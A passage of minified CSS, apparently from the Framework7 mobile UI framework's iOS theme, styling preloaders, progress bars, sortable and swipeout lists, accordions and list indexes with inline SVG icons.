60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E")}.ios .preloader.color-black,.ios .preloader.preloader-black{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23000000'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E")}@-webkit-keyframes ios-preloader-spin{100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes ios-preloader-spin{100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.progressbar,.progressbar-infinite{width:100%;overflow:hidden;position:relative;display:block;-webkit-transform-style:preserve-3d;transform-style:preserve-3d}.framework7-root>.progressbar,.framework7-root>.progressbar-infinite,.page>.progressbar,.page>.progressbar-infinite,.panel>.progressbar,.panel>.progressbar-infinite,.popup>.progressbar,.popup>.progressbar-infinite,.view>.progressbar,.view>.progressbar-infinite,.views>.progressbar,.views>.progressbar-infinite,body>.progressbar,body>.progressbar-infinite{position:absolute;left:0;top:0;z-index:15000;border-radius:0!important;-webkit-transform-origin:center top!important;transform-origin:center top!important}.with-statusbar.device-ios .framework7-root>.progressbar,.with-statusbar.device-ios .framework7-root>.progressbar-infinite,.with-statusbar.device-ios body>.progressbar,.with-statusbar.device-ios body>.progressbar-infinite,.with-statusbar.ios:not(.device-ios):not(.device-android) .framework7-root>.progressbar,.with-statusbar.ios:not(.device-ios):not(.device-android) .framework7-root>.progressbar-infinite,.with-statusbar.ios:not(.device-ios):not(.device-android) body>.progressbar,.with-statusbar.ios:not(.device-ios):not(.device-android) body>.progressbar-infinite{top:20px}.with-statusbar.device-android .framework7-root>.progressbar,.with-statusbar.device-android .framework7-root>.progressbar-infinite,.with-statusbar.device-android body>.progressbar,.with-statusbar.device-android body>.progressbar-infinite,.with-statusbar.md:not(.device-ios):not(.device-android) .framework7-root>.progressbar,.with-statusbar.md:not(.device-ios):not(.device-android) .framework7-root>.progressbar-infinite,.with-statusbar.md:not(.device-ios):not(.device-android) body>.progressbar,.with-statusbar.md:not(.device-ios):not(.device-android) body>.progressbar-infinite{top:24px}.with-statusbar.device-iphone-x .framework7-root>.progressbar,.with-statusbar.device-iphone-x .framework7-root>.progressbar-infinite,.with-statusbar.device-iphone-x body>.progressbar,.with-statusbar.device-iphone-x body>.progressbar-infinite{top:constant(safe-area-inset-top);top:env(safe-area-inset-top)}.progressbar{vertical-align:middle}.progressbar span{width:100%;height:100%;position:absolute;left:0;top:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0);-webkit-transition-duration:150ms;transition-duration:150ms}.progressbar-infinite:after,.progressbar-infinite:before{position:absolute;left:0;top:0;width:100%;height:100%;-webkit-transform-origin:left center;transform-origin:left center;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);display:block}.progressbar-infinite.color-multi{background:0 0!important}.progressbar-in{-webkit-animation:progressbar-in 150ms forwards;animation:progressbar-in 150ms forwards}.progressbar-out{-webkit-animation:progressbar-out 150ms forwards;animation:progressbar-out 150ms forwards}@-webkit-keyframes progressbar-in{from{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}to{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}}@keyframes progressbar-in{from{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}to{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}}@-webkit-keyframes progressbar-out{from{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}to{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@keyframes progressbar-out{from{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}to{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}.ios .progressbar,.ios .progressbar-infinite{height:2px;background:#b6b6b6;-webkit-transform-origin:center top;transform-origin:center top;border-radius:2px}.ios .progressbar span{background:#007aff}.ios .progressbar-infinite:before{content:'';background:#007aff;-webkit-animation:ios-progressbar-infinite 1s linear infinite;animation:ios-progressbar-infinite 1s linear infinite}.ios .progressbar-infinite.color-multi:before{width:400%;background-image:-webkit-gradient(linear,left top,right top,from(#4cd964),color-stop(#5ac8fa),color-stop(#007aff),color-stop(#34aadc),color-stop(#5856d6),color-stop(#ff2d55),color-stop(#5856d6),color-stop(#34aadc),color-stop(#007aff),color-stop(#5ac8fa),to(#4cd964));background-image:-webkit-linear-gradient(left,#4cd964,#5ac8fa,#007aff,#34aadc,#5856d6,#ff2d55,#5856d6,#34aadc,#007aff,#5ac8fa,#4cd964);background-image:linear-gradient(to right,#4cd964,#5ac8fa,#007aff,#34aadc,#5856d6,#ff2d55,#5856d6,#34aadc,#007aff,#5ac8fa,#4cd964);background-size:25% 100%;background-repeat:repeat-x;-webkit-animation:ios-progressbar-infinite-multicolor 3s linear infinite;animation:ios-progressbar-infinite-multicolor 3s linear infinite}.ios .color-theme-red .progressbar span{background:#ff3b30}.ios .color-theme-red .progressbar-infinite:before{background:#ff3b30}.ios .color-theme-green .progressbar span{background:#4cd964}.ios .color-theme-green .progressbar-infinite:before{background:#4cd964}.ios .color-theme-blue .progressbar span{background:#007aff}.ios .color-theme-blue .progressbar-infinite:before{background:#007aff}.ios .color-theme-pink .progressbar span{background:#ff2d55}.ios .color-theme-pink .progressbar-infinite:before{background:#ff2d55}.ios .color-theme-yellow .progressbar span{background:#fc0}.ios .color-theme-yellow .progressbar-infinite:before{background:#fc0}.ios .color-theme-orange .progressbar span{background:#ff9500}.ios .color-theme-orange .progressbar-infinite:before{background:#ff9500}.ios .color-theme-gray .progressbar span{background:#8e8e93}.ios .color-theme-gray .progressbar-infinite:before{background:#8e8e93}.ios .color-theme-white .progressbar span{background:#fff}.ios .color-theme-white .progressbar-infinite:before{background:#fff}.ios .color-theme-black .progressbar span{background:#000}.ios .color-theme-black .progressbar-infinite:before{background:#000}.ios .progressbar.color-red span{background:#ff3b30}.ios .progressbar-infinite.color-red:before{background:#ff3b30}.ios .progressbar.color-green span{background:#4cd964}.ios .progressbar-infinite.color-green:before{background:#4cd964}.ios .progressbar.color-blue span{background:#007aff}.ios .progressbar-infinite.color-blue:before{background:#007aff}.ios .progressbar.color-pink span{background:#ff2d55}.ios .progressbar-infinite.color-pink:before{background:#ff2d55}.ios .progressbar.color-yellow span{background:#fc0}.ios .progressbar-infinite.color-yellow:before{background:#fc0}.ios .progressbar.color-orange span{background:#ff9500}.ios .progressbar-infinite.color-orange:before{background:#ff9500}.ios .progressbar.color-gray span{background:#8e8e93}.ios .progressbar-infinite.color-gray:before{background:#8e8e93}.ios .progressbar.color-white span{background:#fff}.ios .progressbar-infinite.color-white:before{background:#fff}.ios .progressbar.color-black span{background:#000}.ios .progressbar-infinite.color-black:before{background:#000}@-webkit-keyframes ios-progressbar-infinite{0%{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}100%{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}@keyframes ios-progressbar-infinite{0%{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}100%{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}@-webkit-keyframes ios-progressbar-infinite-multicolor{0%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}100%{-webkit-transform:translate3d(-50%,0,0);transform:translate3d(-50%,0,0)}}@keyframes ios-progressbar-infinite-multicolor{0%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}100%{-webkit-transform:translate3d(-50%,0,0);transform:translate3d(-50%,0,0)}}.sortable .sortable-handler{position:absolute;top:0;bottom:1px;z-index:10;background-repeat:no-repeat;background-size:18px 12px;opacity:0;pointer-events:none;cursor:move;-webkit-transition-duration:.3s;transition-duration:.3s;right:0;background-position:100% 50%}.sortable .item-inner{-webkit-transition-duration:.3s;transition-duration:.3s}.sortable li.sorting{z-index:50;background:rgba(255,255,255,.8);-webkit-transition-duration:0s;transition-duration:0s}.sortable li.sorting .item-inner:after{display:none!important}.sortable-sorting li{-webkit-transition-duration:.3s;transition-duration:.3s}.sortable-enabled .sortable-handler{pointer-events:auto;opacity:1;background-position:50% 50%}.sortable-enabled .item-link .item-inner,.sortable-enabled .item-link .item-title-row{background-image:none!important}.sortable.theme-dark li.sorting,.theme-dark .sortable li.sorting{background-color:rgba(50,50,50,.8)}.ios .sortable-handler{width:35px;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2018%2012'%20fill%3D'%23c7c7cc'%3E%3Cpath%20d%3D'M0%2C2V0h22v2H0z'%2F%3E%3Cpath%20d%3D'M0%2C7V5h22v2H0z'%2F%3E%3Cpath%20d%3D'M0%2C12v-2h22v2H0z'%2F%3E%3C%2Fsvg%3E")}.ios .sortable li.sorting{-webkit-box-shadow:0 2px 8px rgba(0,0,0,.6);box-shadow:0 2px 8px rgba(0,0,0,.6)}.ios .sortable-enabled .item-inner,.ios .sortable-enabled .item-link .item-inner{padding-right:35px}.ios .list.sortable-enabled .item-link.no-chevron .item-inner,.ios .list.sortable-enabled .no-chevron .item-link .item-inner,.ios .list.sortable-enabled.no-chevron .item-link .item-inner,.ios .no-chevron .list.sortable-enabled .item-link .item-inner{padding-right:35px}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .sortable-handler,.ios.device-iphone-x .ios-right-edge .sortable-handler,.ios.device-iphone-x .panel-right .sortable-handler,.ios.device-iphone-x .popup .sortable-handler,.ios.device-iphone-x .sheet-modal .sortable-handler{right:constant(safe-area-inset-right);right:env(safe-area-inset-right)}.ios.device-iphone-x .ios-edges .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.ios.device-iphone-x .ios-edges .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.ios.device-iphone-x .ios-right-edge .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.ios.device-iphone-x .ios-right-edge .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.ios.device-iphone-x .panel-right .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.ios.device-iphone-x .panel-right .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.ios.device-iphone-x .popup .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.ios.device-iphone-x .popup .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.ios.device-iphone-x .sheet-modal .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.ios.device-iphone-x .sheet-modal .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner{padding-right:calc(35px + constant(safe-area-inset-right));padding-right:calc(35px + env(safe-area-inset-right))}}.swipeout{overflow:hidden;-webkit-transform-style:preserve-3d;transform-style:preserve-3d}.swipeout-deleting{-webkit-transition-duration:.3s;transition-duration:.3s}.swipeout-deleting .swipeout-content{-webkit-transform:translateX(-100%);transform:translateX(-100%)}.swipeout-transitioning .swipeout-actions-left a,.swipeout-transitioning .swipeout-actions-right a,.swipeout-transitioning .swipeout-content,.swipeout-transitioning .swipeout-overswipe{-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:left,-webkit-transform;transition-property:left,-webkit-transform;transition-property:transform,left;transition-property:transform,left,-webkit-transform}.swipeout-content{position:relative;z-index:10}.swipeout-overswipe{-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:left;transition-property:left}.swipeout-actions-left,.swipeout-actions-right{position:absolute;top:0;height:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;direction:ltr}.swipeout-actions-left>a,.swipeout-actions-left>button,.swipeout-actions-left>div,.swipeout-actions-left>span,.swipeout-actions-right>a,.swipeout-actions-right>button,.swipeout-actions-right>div,.swipeout-actions-right>span{color:#fff;background:#c7c7cc;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;position:relative;left:0}.swipeout-actions-left>a:after,.swipeout-actions-left>button:after,.swipeout-actions-left>div:after,.swipeout-actions-left>span:after,.swipeout-actions-right>a:after,.swipeout-actions-right>button:after,.swipeout-actions-right>div:after,.swipeout-actions-right>span:after{content:'';position:absolute;top:0;width:600%;height:100%;background:inherit;z-index:-1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.swipeout-actions-right{right:0;-webkit-transform:translateX(100%);transform:translateX(100%)}.swipeout-actions-right>a:after,.swipeout-actions-right>button:after,.swipeout-actions-right>div:after,.swipeout-actions-right>span:after{left:100%;margin-left:-1px}.swipeout-actions-left{left:0;-webkit-transform:translateX(-100%);transform:translateX(-100%)}.swipeout-actions-left>a:after,.swipeout-actions-left>button:after,.swipeout-actions-left>div:after,.swipeout-actions-left>span:after{right:100%;margin-right:-1px}.ios .swipeout-actions-left>a,.ios .swipeout-actions-left>button,.ios .swipeout-actions-left>div,.ios .swipeout-actions-left>span,.ios .swipeout-actions-right>a,.ios .swipeout-actions-right>button,.ios .swipeout-actions-right>div,.ios .swipeout-actions-right>span{padding:0 30px;color:#fff}.ios .swipeout-actions-left .swipeout-delete,.ios .swipeout-actions-right .swipeout-delete{background:#ff3b30}.ios .swipeout-actions-left>a.color-red,.ios .swipeout-actions-left>button.color-red,.ios .swipeout-actions-left>div.color-red,.ios .swipeout-actions-left>span.color-red,.ios .swipeout-actions-right>a.color-red,.ios .swipeout-actions-right>button.color-red,.ios .swipeout-actions-right>div.color-red,.ios .swipeout-actions-right>span.color-red{background-color:#ff3b30}.ios .swipeout-actions-left>a.color-green,.ios .swipeout-actions-left>button.color-green,.ios .swipeout-actions-left>div.color-green,.ios .swipeout-actions-left>span.color-green,.ios .swipeout-actions-right>a.color-green,.ios .swipeout-actions-right>button.color-green,.ios .swipeout-actions-right>div.color-green,.ios .swipeout-actions-right>span.color-green{background-color:#4cd964}.ios .swipeout-actions-left>a.color-blue,.ios .swipeout-actions-left>button.color-blue,.ios .swipeout-actions-left>div.color-blue,.ios .swipeout-actions-left>span.color-blue,.ios .swipeout-actions-right>a.color-blue,.ios .swipeout-actions-right>button.color-blue,.ios .swipeout-actions-right>div.color-blue,.ios .swipeout-actions-right>span.color-blue{background-color:#007aff}.ios .swipeout-actions-left>a.color-pink,.ios .swipeout-actions-left>button.color-pink,.ios .swipeout-actions-left>div.color-pink,.ios .swipeout-actions-left>span.color-pink,.ios .swipeout-actions-right>a.color-pink,.ios .swipeout-actions-right>button.color-pink,.ios .swipeout-actions-right>div.color-pink,.ios .swipeout-actions-right>span.color-pink{background-color:#ff2d55}.ios .swipeout-actions-left>a.color-yellow,.ios .swipeout-actions-left>button.color-yellow,.ios .swipeout-actions-left>div.color-yellow,.ios .swipeout-actions-left>span.color-yellow,.ios .swipeout-actions-right>a.color-yellow,.ios .swipeout-actions-right>button.color-yellow,.ios .swipeout-actions-right>div.color-yellow,.ios .swipeout-actions-right>span.color-yellow{background-color:#fc0}.ios .swipeout-actions-left>a.color-orange,.ios .swipeout-actions-left>button.color-orange,.ios .swipeout-actions-left>div.color-orange,.ios .swipeout-actions-left>span.color-orange,.ios .swipeout-actions-right>a.color-orange,.ios .swipeout-actions-right>button.color-orange,.ios .swipeout-actions-right>div.color-orange,.ios .swipeout-actions-right>span.color-orange{background-color:#ff9500}.ios .swipeout-actions-left>a.color-gray,.ios .swipeout-actions-left>button.color-gray,.ios .swipeout-actions-left>div.color-gray,.ios .swipeout-actions-left>span.color-gray,.ios .swipeout-actions-right>a.color-gray,.ios .swipeout-actions-right>button.color-gray,.ios .swipeout-actions-right>div.color-gray,.ios .swipeout-actions-right>span.color-gray{background-color:#8e8e93}.ios .swipeout-actions-left>a.color-white,.ios .swipeout-actions-left>button.color-white,.ios .swipeout-actions-left>div.color-white,.ios .swipeout-actions-left>span.color-white,.ios .swipeout-actions-right>a.color-white,.ios .swipeout-actions-right>button.color-white,.ios .swipeout-actions-right>div.color-white,.ios .swipeout-actions-right>span.color-white{background-color:#fff}.ios .swipeout-actions-left>a.color-black,.ios .swipeout-actions-left>button.color-black,.ios .swipeout-actions-left>div.color-black,.ios .swipeout-actions-left>span.color-black,.ios .swipeout-actions-right>a.color-black,.ios .swipeout-actions-right>button.color-black,.ios .swipeout-actions-right>div.color-black,.ios .swipeout-actions-right>span.color-black{background-color:#000}.accordion-item-toggle{cursor:pointer;-webkit-transition-duration:.3s;transition-duration:.3s}.accordion-item-toggle.active-state{-webkit-transition-duration:.3s;transition-duration:.3s}.accordion-item-toggle.active-state>.item-inner:after{background-color:transparent}.accordion-item-toggle .item-inner{-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:background-color;transition-property:background-color}.accordion-item-toggle .item-inner:after{-webkit-transition-duration:.3s;transition-duration:.3s}.accordion-item .item-link .item-inner:after{-webkit-transition-duration:.3s;transition-duration:.3s}.accordion-item .block,.accordion-item .list{margin-top:0;margin-bottom:0}.accordion-item .block>h1:first-child,.accordion-item .block>h2:first-child,.accordion-item .block>h3:first-child,.accordion-item .block>h4:first-child,.accordion-item .block>p:first-child{margin-top:10px}.accordion-item .block>h1:last-child,.accordion-item .block>h2:last-child,.accordion-item .block>h3:last-child,.accordion-item .block>h4:last-child,.accordion-item .block>p:last-child{margin-bottom:10px}.accordion-item-opened .accordion-item-toggle .item-inner:after,.accordion-item-opened>.item-link .item-inner:after{background-color:transparent}.list li.accordion-item ul{padding-left:0}.accordion-item-content{position:relative;overflow:hidden;height:0;font-size:14px;-webkit-transition-duration:.3s;transition-duration:.3s}.accordion-item-opened>.accordion-item-content{height:auto}html.device-android-4 .accordion-item-content{-webkit-transform:none;transform:none}.ios .list .accordion-item-toggle .item-inner{background-size:8px 13px;background:no-repeat calc(100% - 15px) center;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'8px'%20height%3D'13px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(1.500000%2C%206.500000)%20rotate(-45.000000)%20translate(-1.500000%2C%20-6.500000)%20'%20points%3D'6%2011%206%202%204%202%204%209%20-3%209%20-3%2011%205%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E");padding-right:35px}.ios .list .accordion-item-toggle.active-state{background-color:#d9d9d9}.ios .accordion-item-opened.media-item .accordion-item-toggle .item-title-row,.ios .accordion-item-opened.media-item>.item-link .item-title-row,.ios .links-list .accordion-item-opened>a,.ios .list:not(.media-list) .accordion-item-opened:not(.media-item) .accordion-item-toggle .item-inner,.ios .list:not(.media-list) .accordion-item-opened:not(.media-item)>.item-link .item-inner,.ios .media-list .accordion-item-opened .accordion-item-toggle .item-title-row,.ios .media-list .accordion-item-opened>.item-link .item-title-row{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(6.5%2C%206.5)%20rotate(-315)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E");background-size:13px 13px}.ios .theme-dark .list .accordion-item-toggle .item-inner{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'8px'%20height%3D'13px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(1.500000%2C%206.500000)%20rotate(-45.000000)%20translate(-1.500000%2C%20-6.500000)%20'%20points%3D'6%2011%206%202%204%202%204%209%20-3%209%20-3%2011%205%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E")}.ios .theme-dark .list .accordion-item-toggle.active-state{background-color:#363636}.ios .theme-dark .accordion-item-opened.media-item .accordion-item-toggle .item-title-row,.ios .theme-dark .accordion-item-opened.media-item>.item-link .item-title-row,.ios .theme-dark .links-list .accordion-item-opened>a,.ios .theme-dark .list:not(.media-list) .accordion-item-opened:not(.media-item) .accordion-item-toggle .item-inner,.ios .theme-dark .list:not(.media-list) .accordion-item-opened:not(.media-item)>.item-link .item-inner,.ios .theme-dark .media-list .accordion-item-opened .accordion-item-toggle .item-title-row,.ios .theme-dark .media-list .accordion-item-opened>.item-link .item-title-row{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(6.5%2C%206.5)%20rotate(-315)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E")}.contacts-list .list-group:first-child ul:before{display:none!important}.contacts-list .list-group:last-child ul:after{display:none!important}.ios .contacts-list{margin:0}.ios .contacts-list .list-group-title{padding:0 15px;background:#f7f7f7;color:#000;font-weight:600;line-height:22px;height:22px}.contacts-list.ios .theme-dark .list-group-title,.ios .theme-dark .contacts-list .list-group-title{background-color:#111;color:#fff}.list-index{position:absolute;top:0;bottom:0;right:0;text-align:center;z-index:10;width:16px;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.list-index:before{content:'';position:absolute;width:20px;top:0;right:100%;height:100%}.list-index ul{font-size:11px;font-weight:600;list-style:none;margin:0;padding:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;height:100%;width:100%;position:relative}.list-index li{margin:0;padding:0;list-style:none;position:relative;height:14px;line-height:14px;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;display:block;width:100%}.list-index .list-index-skip-placeholder:after{content:'';position:absolute;left:50%;top:50%;border-radius:50%}.list-index .list-index-label{position:absolute;bottom:0;right:100%;text-align:center;border-radius:50%;color:#fff;font-weight:500}.ios .list-index ul{color:#007aff}.ios .list-index .list-index-skip-placeholder:after{content:'';width:6px;height:6px;margin-left:-3px;margin-top:-3px;background:#007aff}.ios .list-index .list-index-label{margin-bottom:-22px;margin-right:15px;width:44px;height:44px;line-height:44px;border-radius:50%;background:#007aff;font-size:17px}.ios .list-index .list-index-label:before{position:absolute;width:100%;height:100%;border-radius:50% 0 50% 50%;content:'';background-color:inherit;left:0;top:0;-webkit-transform:rotate(45deg);transform:rotate(45deg);z-index:-1}.ios .navbar~.list-index,.ios .navbar~.page>.list-index{top:44px}.ios .toolbar~* .page>.list-index,.ios .toolbar~.list-index,.ios .toolbar~.page>.list-index{bottom:44px}.ios .tabbar-labels~* .page>.list-index,.ios .tabbar-labels~.list-index,.ios .tabbar-labels~.page>.list-index{bottom:50px}@media (min-width:768px){.ios .tabbar-labels~* .page>.list-index,.ios .tabbar-labels~.list-index,.ios .tabbar-labels~.page>.list-index{bottom:56px}}.ios.device-iphone-x .toolbar~* .page>.list-index,.ios.device-iphone-x .toolbar~.list-index,.ios.device-iphone-x .toolbar~.page>.list-index{bottom:calc(44px + constant(safe-area-inset-bottom));bottom:calc(44px + env(safe-area-inset-bottom))}.ios.device-iphone-x .tabbar-labels~* .page>.list-index,.ios.device-iphone-x .tabbar-labels~.list-index,.ios.device-iphone-x .tabbar-labels~.page>.list-index{bottom:calc(50px + constant(safe-area-inset-bottom));bottom:calc(50px + env(safe-area-inset-bottom))}@media (min-width:768px){.ios.device-iphone-x .tabbar-labels~* .page>.list-index,.ios.device-iphone-x .tabbar-labels~.list-index,.ios.device-iphone-x .tabbar-labels~.page>.list-index{bottom:calc(56px + constant(safe-area-inset-bottom));bottom:calc(56px + env(safe-area-inset-bottom))}}.ios .color-theme-red .list-index ul,.ios .list-index.color-theme-red ul{color:#ff3b30}.ios .color-theme-red .list-index .list-index-label,.ios .color-theme-red .list-index .list-index-skip-placeholder:after,.ios .list-index.color-theme-red .list-index-label,.ios .list-index.color-theme-red .list-index-skip-placeholder:after{background-color:#ff3b30}.ios .color-theme-green .list-index ul,.ios .list-index.color-theme-green ul{color:#4cd964}.ios .color-theme-green .list-index .list-index-label,.ios .color-theme-green .list-index .list-index-skip-placeholder:after,.ios .list-index.color-theme-green .list-index-label,.ios .list-index.color-theme-green .list-index-skip-placeholder:after{background-color:#4cd964}.ios .color-theme-blue .list-index ul,.ios .list-index.color-theme-blue ul{color:#007aff}.ios .color-theme-blue .list-index .list-index-label,.ios .color-theme-blue .list-index .list-index-skip-placeholder:after,.ios .list-index.color-theme-blue .list-index-label,.ios .list-index.color-theme-blue .list-index-skip-placeholder:after{background-color:#007aff}.ios .color-theme-pink .list-index ul,.ios .list-index.color-theme-pink ul{color:#ff2d55}.ios .color-theme-pink .list-index .list-index-label,.ios .color-theme-pink .list-index .list-index-skip-placeholder:after,.ios .list-index.color-theme-pink .list-index-label,.ios .list-index.color-theme-pink .list-index-skip-placeholder:after{background-color:#ff2d55}.ios .color-theme-yellow .list-index ul,.ios .list-index.color-theme-yellow ul{color:#fc0}.ios .color-theme-yellow .list-index .list-index-label,.ios .color-theme-yellow .list-index .list-index-skip-placeholder:after,.ios .list-index.color-theme-yellow .list-index-label,.ios .list-index.color-theme-yellow .list-index-skip-placeholder:after{background-color:#fc0}.ios .color-theme-orange .list-index ul,.ios .list-index.color-theme-orange ul{color:#ff9500}.ios .color-theme-orange .list-index .list-index-label,.ios .color-theme-orange .list-index .list-index-skip-placeholder:after,.ios .list-index.color-theme-orange .list-index-label,.ios .list-index.color-theme-orange .list-index-skip-placeholder:after{background-color:#ff9500}.ios .color-theme-gray .list-index ul,.ios .list-index.color-theme-gray ul{color:#8e8e93}.ios .color-theme-gray .list-index .list-index-label,.ios .color-theme-gray .list-index .list-index-skip-placeholder:after,.ios .list-index.color-theme-gray .list-index-label,.ios .list-index.color-theme-gray .list-index-skip-placeholder:after{background-color:#8e8e93}.ios .color-theme-white .list-index ul,.ios .list-index.color-theme-white ul{color:#fff}.ios .color-theme-white .list-index .list-index-label,.ios .color-theme-white .list-index .list-index-skip-placeholder:after,.ios .list-index.color-theme-white .list-index-label,.ios .list-index.color-theme-white .list-index-skip-placeholder:after{background-color:#fff}.ios .color-theme-black .list-index ul,.ios .list-index.color-theme-black ul{color:#000}.ios .color-theme-black .list-index .list-index-label,.ios .color-theme-black .list-index .list-index-skip-placeholder:after,.ios .list-index.color-theme-black .list-index-label,.ios .list-index.color-theme-black .list-index-skip-placeholder:after{background-color:#000}.ios .list-index.color-red ul{color:#ff3b30}.ios .list-index.color-red .list-index-label,.ios .list-index.color-red .list-index-skip-placeholder:after{background-color:#ff3b30}.ios .list-index.color-green 